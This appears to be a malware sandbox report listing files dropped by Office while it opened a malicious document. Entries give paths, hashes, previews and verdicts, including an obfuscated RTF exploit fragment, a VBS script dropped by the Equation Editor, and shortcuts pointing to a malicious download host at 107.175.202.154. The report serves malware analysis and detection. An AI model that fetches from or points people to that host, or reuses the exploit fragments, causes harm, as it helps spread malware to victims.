Preview:	....l...........d...Z............T...f.. EMF....P...............................@...........................F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................e...[..."...........!...............................................e...[..."...........!...............................................e...[..."...........!...............................................e...[..."...........!...............................................e...[...'...............YYY.....%...................YYY.....................................L...d...............Y...............Z...!..............?...........?................................'...............2.......%...........(...................2...L...d.......Y...............Y.......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B3AD4937.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	330948
Entropy (8bit):	4.9752077914204484
Encrypted:	false
SSDEEP:	3072:P0Bd8yCKdQW2222222Igccz3/qSmV1XITSuaZgOTARfMDc1ji:P0Bd8yCKdQRzw4muaZ9TARfMDcFi
MD5:	46322DF7E125AFC081722A4939A5ECAC
SHA1:	5BAFD49F670BC63F994C1BBB1D69DA3D155206E3
SHA-256:	8E305D57EF440A89946AA497A3AEFF1AC731D8FA7EFB4C8F305F22F36ECB7C6B
SHA-512:	C8FDDFCBB04064FE4A8758E9D8267BAC28E1F45194D0C2BBD50FE08A7B964805E1007BB1B3E8585F8919366E7E1394E1AFA446D8B9C901C0DB484AFC460CE2C6
Malicious:	false
Preview:	....l...........0...%............K...8.. EMF........l.......................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................1...&..."...........!...............................................1...&..."...........!...............................................1...&..."...........!...............................................1...&..."...........!...............................................1...&...'.......................%...........................................................L...d.......W...0...........W...1...T...!..............?...........?................................R...p...................................T.i.m.e.s. .N.e.w. .R.o.m.a.n...........................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C5290082.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ISO-8859 text, with very long lines (5697), with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	65439
Entropy (8bit):	3.0839530473925585
Encrypted:	false
SSDEEP:	1536:22efVeOytR02eOgkG21b5ZYoSR/mu773JosuqjXn:22geOmG2rKbmcJostz
MD5:	69F8E3FCA6EFE4E765B81C5B16A58B10
SHA1:	9E0E3ED7DB80B114169761D1685DE8D707BACC24
SHA-256:	40AD09FCE6196B847904BCCF7B7C326708F540A8B1D759E0AFB531E54066A97C
SHA-512:	B7C9EFBB32A6792B1EE3E5FC8A641C0CB02D04D3D3524DD20CD2B294A28050DAB6C483DDFDC4BBA42937CA54D7AFDF722C25ADAB565B9219D65602FEE95BD2AF
Malicious:	true
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C5290082.doc, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	{\rt.........{\mmodsofilter351717706 \+}.{\477676506\|1^..4&4_(:%8`@.93[?,!&^:6?=9@`.11[:\|.40'1@73^%#&<?0@;$)53#22?##.4'1^/8^#2.]/[/?.,%?<=8_!=62+-?\|>?%''(.?.'?#_%%;^?=2>8<?,=>\|2&.$.;\|4`=\|]4\|52`>?~8.8?\|409,@.^1=!!-<^%^%_)+#5&^)-+~&&?@.4-*+_?=<?05?18'7=,88_.1)\|37;-/_#)2.:.<<0??^\|?4.!?.')=`??:1$$:??^'<3.[7^(=]~8#?[5&%?4+?$..#-:!0,68%3;/<>%1]?.;~-0<$`.7.(3?.5(;%(~-.^0_:=$2>@26=%...5\|?(>/,8?8$+-:@=,]7/&&?6`\|^%6:.~@(?6.6+9?!51.245=?$~632?:;?]@1~..?9565&1&:12#?0$+73-#>?5)46%+1'?<2#.9)?^9_>%)3'3=8~)8_[$-+.92??^/(?.6<%/;+#+46/6118/?2[.%;^31+4+.'!.0?!'?60?@(?_6\|='335=!).5.1(.?0?%6&@2`^6!%\|%[~?'9@?91??/$5#.)<.??8?.%;64>'!]/?=)!?8?;@^.[0``6!^4.~4@%?%2<58^#$#_%?^3.):~&;&6\|+:.\|).>-/2)%%>>\|.?\|!~[++~)?,5=<].^`_^&-%)\|:,3.].7?!?3!.:7)3(~2=@/'2@'=4`.$<##??7..=]%%?-@.<_.@0'?%,02!%?>>%?_,+^^/7.;+?_;(%$&?5^~.4?,-`>??2>.2^8?0=@7?.0[.,??0.:-!.<9%>?&53~<&^-.>?;?^~.0[?@.[#1+<3>$3&9:%?:>/,/]~+]9.$/+]6?;`:4#^.?$2=\|^2<&6?&>)1[?_1?<7\|+>`3&?/~?-2?0),?%?^?%4.%=?\|@'`.9%]&_1'+_&-5^[?$`&!*@8.<?

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C83EBB54.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	884312
Entropy (8bit):	1.2944875740888722
Encrypted:	false
SSDEEP:	1536:k3dki8JungPuzcn6F1Tny9Cie/koPs9h9RHJFUrnT15vWP5cPpmJ2dvRaQq3vMog:5ux/ZiOE85e+8J2dvRcvMyw
MD5:	B6DFB3AA7AC4A1A52336C30FA821857B
SHA1:	66ECB808A516AC5B07A01CDFCAD65FD7B9907619
SHA-256:	E22202331F689D7568E674B0DCD895DF66FAC5980498F05A846DE244AB3394C4
SHA-512:	A13562F976BCBEEF7D4B4926C37E39BFD4C588EF6E746792B806E6737C91604175395021D4884493D764CE7F0EE2ACC6C7D03A6045A5B4ED6616E5D7E4C9FE94
Malicious:	false
Preview:	....l............................F..C%.. EMF....X~..............................@................................................................F..C%..................Q....}..........................................P...(...x...$}...... ....F..C%..(...................$}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D8D67F5D.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1505804
Entropy (8bit):	0.611760173242012
Encrypted:	false
SSDEEP:	768:/jKn4RpbfoTGRFm2GWWDEXM4espe2B/nwyFwx+VjRQ9+c4AgD7PHj8bKYEqQtVxY:/jhRpbfoaRFvGWW6/4DADMXIok/2GiEs
MD5:	D69C22A341E111FEEA69DF6D8C655D60
SHA1:	AC862337F2EFA43627508927F5052CE694012206
SHA-256:	05B2053BF1D070D6034B45CD79B54D80DA3C6D88D016671A345E75048B1A68DB
SHA-512:	D4DB33ED046B3C9BA09C4B3FEAC17B1FE2E75FCE67F4154FD795D504708C295A1E3C8331ED3D6C3EE9950C936C4CC25B5D690558C26F2E1F7771BD5EB275822C
Malicious:	false
Preview:	....l...........R...I............)...;.. EMF................................8...X....................?...........................................)...;..........S...J...Q...P...........R...I...................S...J...P...(...x........... ....)...;..(...S...J.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E9B885BA.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	884312
Entropy (8bit):	1.2944965349348616
Encrypted:	false
SSDEEP:	1536:W3dki8JungPuzcn6F1Tny9Cie/koPs9h9RHJFUrnT15vWP5cPpmJ2dvRaQq3vMog:Hux/ZiOE85e+8J2dvRcvMyw
MD5:	9ABE7EB352E0DB96B52C99AC2FDEA85F
SHA1:	8DC45D02308275BA32B7FFB320A3042256D40C8B
SHA-256:	EC022DFF1CC8251BA9D849C16431914635473FC5457AE73AA277651B47948869
SHA-512:	E43325B927F5365F16118B67E1830B2A0E8CC051D9AEAB144DA6A75751CA39CC1831158270A50ED31BCCBA29C98A56769E516F36C45CB5FAA1BB6ED92CC0A5EB
Malicious:	false
Preview:	....l............................2...... EMF....X~..........................8...X....................?...........................................2......................Q....}..........................................P...(...x...$}...... ....2......(...................$}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EB4AAEDF.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	433328
Entropy (8bit):	5.8204877156089845
Encrypted:	false
SSDEEP:	6144:mifm7kwvqU4iyCbPUV7gdaI6z0R/sjBx2:ml7kwvqULUVS
MD5:	8BF8B9DFF5E6ABD0D929087BC644F125
SHA1:	6B10E2EDF1655986B672B34290BFF262A4D935A1
SHA-256:	0D4BA322B0F814762CFC47EE83FBC522280891E5D5DD91983960C1671B4E2231
SHA-512:	34C55AA067B2F8043740D0BA5D2E6F1C6AECAE37E0DE182BA3B314E628EF9F440CAA53BDB454F3D9DE185D3A96A74847177AD9673384F5A3EB12F4513F37BEBD
Malicious:	false
Preview:	....l...........[................S..%;.. EMF........t...........................@...........................F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................\......."...........!...............................................\......."...........!...............................................\......."...........!...............................................\......."...........!...............................................\.......'.......................%...........................................................L...d.......D...[...........D...\...D...!..............?...........?................................R...p...................................T.i.m.e.s. .N.e.w. .R.o.m.a.n...........................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{9884DA1E-FD29-4340-AB77-A6BEF9386CEC}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	5.732493021133225
Encrypted:	false
SSDEEP:	192:Kr41dAiwnocfuiAiwnocfVv3AiwnocfVAyRAiwnocfVTAiwnocf:d/AiDSZAiDSxAiDSLAiDSNAiDS
MD5:	176C275D7B55B083DCFFA2A141ABF382
SHA1:	378946FC79B55E5DA7568F1AB8C9B5A67B369F1C
SHA-256:	53090547062BCA61C945141BE272F5833D4134656E636C2CF4042CAD7F6842E4
SHA-512:	4206A07D498C85D62C8C353DBB4C6A81BD07A15E407705697DE04EF57CB58D847FBE559066C78720EA19D44944550292A0D8B98C9E046D0A4AE1D61C1EABEBAD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{52FE25EB-40D9-4DFD-8620-902367258677}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{604DE9F9-C7DB-409E-9010-50CD8D9E0F59}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12026
Entropy (8bit):	3.5984099343997067
Encrypted:	false
SSDEEP:	192:vsXoe82BuEchEq/xVZbs6sZfgsLVkMErLplEzod0QGZ4NfCIjLr5wJ/tKOjI7r5j:vs5uEchKHEhlgoCQGGVCin5wnj+r5RV
MD5:	4C2631E00EBD2A230E6335500877B12B
SHA1:	F1F761FBD6ECEC228BEB284EEEA0C4E768945D04
SHA-256:	DFFFA7E52F80B34A0778CB322572934950C35A9130D1C16190175D87BFE6D1D0
SHA-512:	D37ADDAE47035EC8ED2052BF179C547B1DC98D996BAE2C4BD3A16452DF5FC661EA1FC95DA9C5044B81D9645B45F32D2B5423F0EF22267C7352B7F06F5C28652B
Malicious:	false
Preview:	........7.7.6.7.6.5.0.6.\|.1.^.....4.&.4._.(.:.%.8.`.@...9.3.[.?.,.!.&.^.:.6.?.=.9..@.`...1.1.[.:.\|...4.0.'.1.@.7.3.^.%.#.&.<.?.0.@.;.$.).5..3.#.2.2.?.#.#...4.'.1.^./.8.^.#.2...]./.[./.?...,.%.?.<.=.8._.!.=.6.2.+.-.?.\|.>.?.%.'.'.(...?...'.?.#._.%.%.;.^.?.=.2.>.8.<.?.,.=.>.\|.2.&...$...;.\|.4.`.=.\|..].4.\|.5.2.`.>.?.~.8...8.?.\|.4.0..9.,.@...^.1.=.!.!.-.<.^.%.^.%._.).+.#.5.&.^.).-.+..~.&.&.?.@....4.-...+._.?.=.<.?.0.5.?.1.8.'.7.=.,.8.8._...1.).\|.3.7.;.-./._.#.).2...:...<.<.0.?.?.^.\|.?.4...!.?...'.).=.`.?.?.:.1.$.$.:.?.?.^.'.<.3...[.7.^.(.=.].~.8.#.?.[.5.&.%..?.4.+.?.$.....#..-.:.!.0.,.6.8.%.3.;./.<.>.%.1.].?...;.~.-.0.<.$.`...7...(.3.?...5.(.;.%.(.~.-...^.0._.:.=.$..2.>.@.2.6.=..%.......5.\|.?.(.>./.,.8.?.8.$.+.-.:.@.=.,.].7./.&.&.?.6.`.\|.^.%.6.:...~.@.(.?.6...6.+.9.?.!.5.1...2.4.5.=.?.$.~.6.3.2.?.:.;.?.].@.1.~.....?.9.5.6.5.&.1.&.:.1.2.#.?.0.$.+.7.3.-.#.>.?.5.).4.6.%.+.1.'.?.<.2.#...9.).?.^.9._.>.%.).3.'.3.=.8.~.).8._.[.$.-.+...9.2.?.?.^./.(.?...6.<..%./.;.+.#.+..4.6./.6.1.1.8.

C:\Users\user\AppData\Local\Temp\{55006ADC-D353-4F5C-ACEB-69AF28341529}

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025591245842101852
Encrypted:	false
SSDEEP:	6:I3DPcpmwvvxggLRTi+vfbOozD6tRXv//4tfnRujlw//+GtluJ/eRuj:I3DP4B/ViozGTvYg3J/
MD5:	EBC64D1B601977EE260FD196317B5271
SHA1:	81E6E797F94BD994BC98BA019996E4D97CE32156
SHA-256:	21F0080C2BB13429B374C06AC8AE65EC786E1984E3E943CBD56FEA645C348AB6
SHA-512:	494E3D5827DF6F65437D060303C02BD09C9A2A3D357346842680C77CF22F4F6CE361817B1B455FCDE3DC2BA7F5EC88227E397E51EBF4837679ACCD2546277DCE
Malicious:	false
Preview:	......M.eFy...z..p.`}8J......F=S,...X.F...Fa.q................................2..I..iY..1..........?9.A.J..qD...).....................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{E3E932CA-1ED1-43F0-9A0A-2204B97A449C}

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.02558573677022636
Encrypted:	false
SSDEEP:	6:I3DPcfygAvxggLRNlF9Zl/d5VDRXv//4tfnRujlw//+GtluJ/eRuj:I3DPrjRlF9bvvYg3J/
MD5:	61C60910ECD13E158F6CA8F01E82270B
SHA1:	3B091032C158CA6A8FF322653E561575D3783D8E
SHA-256:	59E02654B3575249312CD20BEADB64C13B302E87C2D710653B7E6AB9C95C9DBF
SHA-512:	536EF7B405C5754C2DCDB6A172436FE62E9AA96B3BA7D1D0D023A4E32C46640812776B06CE44D526BF86CB5B725005BB522B7E05881253AD10E2EB7ACCCD1FBE
Malicious:	false
Preview:	......M.eFy...zX.P.I.J..sf..C.S,...X.F...Fa.q..............................ys...E.1Ko.............!.C..2F..5K.oF}.....................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF1CCD43E1E039E705.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFDFDB3D0798FD0ED8.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFEFFADDDE27C7E550.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	48640
Entropy (8bit):	7.628391888618375
Encrypted:	false
SSDEEP:	768:bIsnB3ZYTZlaFwULSOfyF348yk9oV/Y/gQYCNwQ6eK4RU6PPRFuyofSNbdYO+qHm:bIsnBpDpyi7/5CNvDUyPRFzLbqcH
MD5:	83BE8A788C5DD22DF49A7D48E11154B3
SHA1:	23706C2E229F4AF937BFF066FBBE307F9DB5DA65
SHA-256:	1F5198BA8D61B2A920337E43487196404CC6150F097D930198D47D7170345AF0
SHA-512:	4B22C59E5E7E1852473D59D705FC697BF3C6F4C1816B371FFB2CCCAE461057631EC541CEA17F618A8A37D8AB945C97D78EBDB5102FAC7988530050DAB1ACC08D
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...].......................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFF965D8A88A314F5E.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	253952
Entropy (8bit):	6.773759074082409
Encrypted:	false
SSDEEP:	6144:BZun9pZP8VN26BsnnTxczExEtjPOtioVjDGUU1qfDlavx+fgLX0d6+ivMbVa:Bs9f8Vc6BknTxWIVbVa
MD5:	621AA1F7A04B1346A8E561FCB94E24B3
SHA1:	D7B0F5FC085CF85C40ACFADA7DE2B5008A4CF598
SHA-256:	E0CCD993ECB27C6A17970687E663F13C9BBC8A052F5C126326A7EA6382F9DACC
SHA-512:	983ADCC85AE0E4308DC63E61B6D902606C82542822D768D74158573B6D42901277DCD3D5585AA31ABD4C5E49B466E5F5C543070C5A5A074180705B797055AF4A
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.6739662216458647
Encrypted:	false
SSDEEP:	12:Ppb0slZp69PO9tauZ7nH2AaYSQ81v0t4TreIBUxFj87+k/R:RbG4WuZfKZ1c+reIAon/R
MD5:	C61F99FE7BEE945FC31B62121BE075CD
SHA1:	083BBD0568633FECB8984002EB4FE8FA08E17DD9
SHA-256:	1E0973F4EDEF345D1EA8E90E447B9801FABDE63A2A1751E63B91A8467E130732
SHA-512:	46D743C564A290EDFF307F8D0EF012BB01ED4AA6D9667E87A53976B8F3E87D78BEBE763121A91BA8FB5B0CF5A8C9FDE313D7FBD144FB929D98D7D39F4C9602C9
Malicious:	false
Preview:	....+..F..N..F).~]............\.">.. .......p.J..} /o...rLj-...FS..'x.o..%^ .....zr/..3.y.e4...MM.4..x9.f.D..{..(....'p......9...Qn..d..+.....H..M.)..........].....n-.]........n&.*.H`.sz...r.....1B.....e.."...A.....,-....n..$.<....CO..VO..P..'.......<......n....&5s....z..$.{'IM-.o..(#N.-..(H...a&...y.S..`8.(./...1.P.. .....K.3.......I!]G....@N........F.l.T=.0...`"..L....B...B`nI.<.....&F..2J2....1..Rs....h.Zq.`...t..CJ....@.....I.G.e..k..H.....F..G:..6.G.l=.Y......:...C.........?[.ts...=....;.\|...q...@....s................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	24152
Entropy (8bit):	0.7532185028349225
Encrypted:	false
SSDEEP:	48:CMnfnO4FGtsFqN6t8nlztZKR6axR6uiozVb:ZnfO4kWKpZKdxR35
MD5:	520FE964934AF1AB0CEBA2366830D0FA
SHA1:	B90310ACA870261CB619FDFD1E54E1B1A25074FF
SHA-256:	DBD45EEA386D364B30BA189E079BFA05C2C40D9E5E83722C39A171998ED079C1
SHA-512:	A4839A6AB8DB522D9121A590B8C711E8C4F172D9CB71C918860F8048472920F3341B7BA624DFF514BE397809149E4471B2DF981DC81FE77C26B2DDF342A42F8C
Malicious:	false
Preview:	...W....K.h.E..g..0...!1sm.[t\......A......5_...N{Yf?.w..[.Y..A...a^..(._.=.......:.v.$.....e...F....f.qo.]...B1{.8.%%..,...;.\|..<....g ....l.7.`ny.h.n.y...~Y.../.. .WZ.'......AI.\|.._K}-$.i..<(.7Y...U....T.i.N.'Pt..c.[........<zni.::. 8W.<S...8!.Wh..;T.?.^yf...E?...pQ....i.;>/..^...r.YsncP..@.. .[".^..A.\|.0..$<bC.G........~];..D.\|.v.B.).g.E5.?... .N...}....i.,5..a.Fk.%.u.`..F...;xlw.}.5.Jt..c.5.....v...~)..8b\|..B.]-]jk....PQZ..T}..M.S...88......?.$..]..%V..D.<.5.d...[..Z.....2........%.$E..+sb..........g...>Q[l.}......@=..5L..._....Pi..HY.<[..l...H....9.\=u.v.....S8-&...,5..}t......m...*..R.W.G.NZ....w.....{.iA......G.f.TN.zk..(....q).....n....3..C...d./..........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doC.url

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<http://107.175.202.154/rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemde>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	173
Entropy (8bit):	4.8042185518400204
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/G4U6cdBZYAWEaenSHLMaAiN0RRA5aLAatbYhL/H12/sD8Hn:HRYFVm/xU68YzEvuLMLukJtMdU/y8H
MD5:	438C53C7C9554F651501DB9C207C1924
SHA1:	95DB373FF7C6011EC9791E8388D0A10D9625DB7B
SHA-256:	2FB78DFC95F062E21B533282F84189557CB79D1A07DC6200985E2D9B051CE8B5
SHA-512:	68BDA1A886A67B60853C9E6FB99DCD446106773ED8EDD76B546FB0C080B5277151E3D8915631B04AA4CD975A80904AFF870B7DD6D09B9EAD78B1C3945F83E88B
Malicious:	true
Preview:	[InternetShortcut]..URL=http://107.175.202.154/rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doC..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	modified
Size (bytes):	247
Entropy (8bit):	5.088169101664602
Encrypted:	false
SSDEEP:	6:wZYzEvuLMLukJtMdU/y8wrVMF6wm6zV6stEJ6zV6stc:wHcOXMdU/y8SVM4UVjE0Vjc
MD5:	F59D8897C464B55C282C0BEF274EB5FA
SHA1:	2CC500095F15470610AD3A32568CFA74F0811448
SHA-256:	6588408E5532D5B17C5288085044311062CB79CF5B2AA1BC2B74C5290F4369E4
SHA-512:	1EB347BB467F70B7BC73DBF3AB072FF9FB1FC2C497E45794E3096F9F187AA7C53C39BA8C686B5C8DFCA20CAE2B048148B6898FD58800A1C6C600261D462E4997
Malicious:	false
Preview:	[doC]..beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doC.url=0..[folders]..rmc on 107.175.202.154.url=0..Product list 0980DF098A7.LNK=0..[xls]..Product list 0980DF098A7.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\rmc on 107.175.202.154.url

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<http://107.175.202.154/rmc/>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.637836727944003
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/G4U6cdy:HRYFVm/xU6z
MD5:	BBD258463597A45CEEE6436F270A1D31
SHA1:	55B720CE52E6DA201E6A21BAD8CE6598CF8D81DB
SHA-256:	45A61F4C772FF08941ABA437D83F9769617828A6E2087F76436703A3BD9F8276
SHA-512:	0D0EAD2546DF611AC465F59160BEFD84FF83052856411264D2B4120DD4DCABF235F59C5A8FDFCF18F4F7083D0CA2F7673A8227756E1134E1DDAAB63D93556762
Malicious:	true
Preview:	[InternetShortcut]..URL=http://107.175.202.154/rmc/..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVypil69oycWjUbtFJlln:vdsCkWtTl69oyjUvl
MD5:	CB3D0F9D3F7204AF5670A294AB575B37
SHA1:	5E792DFBAD5EDA9305FCF8F671F385130BB967D8
SHA-256:	45968B9F50A9B4183FBF4987A106AB52EB3EF3279B2118F9AB01BA837DC3968A
SHA-512:	BD116CAF3ACA40A5B90168A022C84923DB51630FA0E62E46020B71B8EB9613EAE776D476B0C6DE0D5F15642A74ED857765150F406937FBA5CB995E9FCDAC81AE
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\loveforsave.vbs

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	604
Entropy (8bit):	3.444961980660846
Encrypted:	false
SSDEEP:	12:Q2x+xfkEdHALClUlgTbllPAB9Sl7/2U/SVsFf8fElI5VX:Q2x88ENAv6TDUgRT/SVsFf8fnVX
MD5:	CD8AC425DD5496C10D4D123D3708290B
SHA1:	D3F97E4CB0C36BFF404A9BCF65C5A5930A7D50CD
SHA-256:	A7EC40E4A96116518D8A00208714884BBCD1C0D4751CB645D9D73F2505B09740
SHA-512:	36BF7ABD4555683E192B697EA5D5FC3ACAE6BD48FCB27CF18053C94E58F043141AD5878D037331CAAA628C2602075F4E56BD987174D352D17CE13AB81B1E0F79
Malicious:	true
